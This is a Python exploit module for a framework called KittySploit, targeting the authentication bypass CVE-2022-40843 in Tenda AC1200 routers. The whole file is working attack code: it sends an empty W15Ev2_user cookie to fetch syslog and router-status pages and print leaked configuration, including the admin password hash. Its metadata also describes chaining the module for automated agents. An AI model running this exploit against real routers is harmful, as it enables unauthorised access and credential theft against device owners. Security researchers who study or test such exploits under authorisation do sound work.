Tenda AC1200 Auth Bypass (CVE-2022-40843)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Tenda AC1200 session auth bypass (CVE-2022-40843)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Tenda AC1200 Auth Bypass (CVE-2022-40843)',
        'description': (
            'Exploits CVE-2022-40843 in Tenda AC1200 V-W15Ev2: empty W15Ev2_user cookie '
            'bypasses authentication and exposes syslog/config containing admin password hash.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-40843'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-40843'],
        'tags': ['tenda', 'router', 'auth-bypass', 'credential-leak', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['credential_access'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2022_40843_detect']},
        },
    }

    def _cookie(self) -> dict:
        return {'Cookie': 'W15Ev2_user='}

    def check(self):
        r = self.http_request(
            method='GET',
            path='/goform/downloadSyslog/syslog.log',
            headers=self._cookie(),
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and any(m in body for m in ('[system]', '[wan1]')):
            return {'vulnerable': True, 'reason': 'Tenda syslog bypass confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Tenda bypass failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Tenda AC1200 not vulnerable')
            return False
        for path in (
            '/goform/downloadSyslog/syslog.log',
            '/goform/getRouterStatus',
        ):
            r = self.http_request(method='GET', path=path, headers=self._cookie(), allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:2000])
        return True